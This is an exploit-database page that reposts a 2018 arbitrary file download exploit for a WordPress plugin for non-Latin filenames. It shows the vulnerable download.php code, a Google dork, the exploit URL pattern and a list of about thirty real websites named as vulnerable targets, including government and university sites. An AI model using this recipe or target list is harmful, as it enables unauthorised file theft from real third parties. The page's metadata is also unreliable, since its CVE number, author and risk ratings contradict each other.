WordPress uploadingdownloading-non-latin-filename Plugins 1.1.5 Arbitrary File Download Vulnerabilit
CVE
Category
Price
Severity
CVE-2020-35686
CWE-264
Not specified
High
Author
Risk
Exploitation Type
Date
Seyi Obasa
High
Remote
2018-11-29
CPE
cpe:cpe:/a:wordpress:plugins_arbitrary_file_download:1.1.5
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018110241 Below is a copy:
WordPress uploadingdownloading-non-latin-filename Plugins 1.1.5 Arbitrary File Download Vulnerability #################################################################################################
# Exploit Title : WordPress uploadingdownloading-non-latin-filename Plugins 1.1.5 Arbitrary File Download Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 29/11/2018
# Vendor Homepage : wordpress.org/plugins/uploadingdownloading-non-latin-filename/
# Software Download Link : downloads.wordpress.org/plugin/uploadingdownloading-non-latin-filename.1.1.5.zip
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : From 1.02 to 1.1.5 / All Current Versions
# Google Dorks : inurl:''/wp-content/plugins/uploadingdownloading-non-latin-filename/''
# Exploit Risk : Medium
# Vulnerability Type :
CWE-264 - [ Permissions, Privileges, and Access Controls ]
CWE-200 - [ Information Exposure ] - CWE-23 - [ Relative Path Traversal ]
CWE-98 - [ Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') ]
#################################################################################################
WordPress uploadingdownloading-non-latin-filename Plugins is prone to a vulnerability that lets attackers to download
arbitrary files because the application fails to sufficiently sanitize user-supplied input.
An attacker can exploit this issue to download arbitrary files within the context of the webserver process.
The attacker can download and read all files known by the name via 'id' parameter.
Information obtained may aid in further attacks.
#################################################################################################
Vulnerability File PHP Code : /download.php
<?php
if( ! isset($_GET['id']) or empty($_GET['id'])){
echo "error! enter attachment ID!";
exit;
}
include '../../../wp-blog-header.php';
include 'Browser/lib/Browser.php';
$filename_for_download = nlf_get_filename_for_download($_GET['id']);
$attachment = get_post($_GET['id']);
$attachment_meta = get_post_meta($_GET['id']);
$upload_dir = wp_upload_dir();
$original_filepath = $upload_dir['basedir'] . '/' . $attachment_meta['_wp_attached_file'][0];
$browser = new Browser();
if(
$browser->getBrowser() == Browser::BROWSER_IE
){
$filename_encoded = rawurlencode($filename_for_download);
}else{
$filename_encoded = $filename_for_download;
}
status_header(200);
header('cache-control: no-cache');
header('Content-type: ' . $attachment->post_mime_type);
header("Content-Disposition: attachment; filename=" . $filename_encoded);
// orifinal file
readfile($original_filepath);
#################################################################################################
# Admin Panel Login Path :
/wp-login.php
# Vulnerability Error :
error! enter attachment ID!
# Exploit :
/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
#################################################################################################
# Example Vulnerable Sites =>
[+] ppf.gov.iq/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] pel.smuc.ac.kr/~cisc2017s/wordpress/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] szupu.szu.edu.cn/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] tdlshop.in/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] meditationedu.org/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] appbiz.seoul.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] gwangjufolly.org/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] technician.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] doc.arch.mju.ac.th/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] dft.cute.edu.tw/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] 119.gg.go.kr/north/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] research.beautifulfund.org/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] svenskjakt.se/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] ilmin.org/kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] architecture.kunsan.ac.kr/mchangho/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] blog.solarview.net/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] womenfund.or.kr/wordpress/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] gwangjufolly.org/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] cisp.or.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] risingx.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] tigersw.com/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] sehub.net/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] missionbridge.net/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] startup.kaist.ac.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] ericaiie.hanyang.ac.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] ganaart.com/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] health.re.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] hosting01.snu.ac.kr/~linguist/cwp/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] hukobio.co.kr/wordpress/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] dasreich.myqnapcloud.com/kfz222wp/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] womenfund.or.kr/wordpress/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
[+] juul-nielsen.dk/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FLENAMEHERE]
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum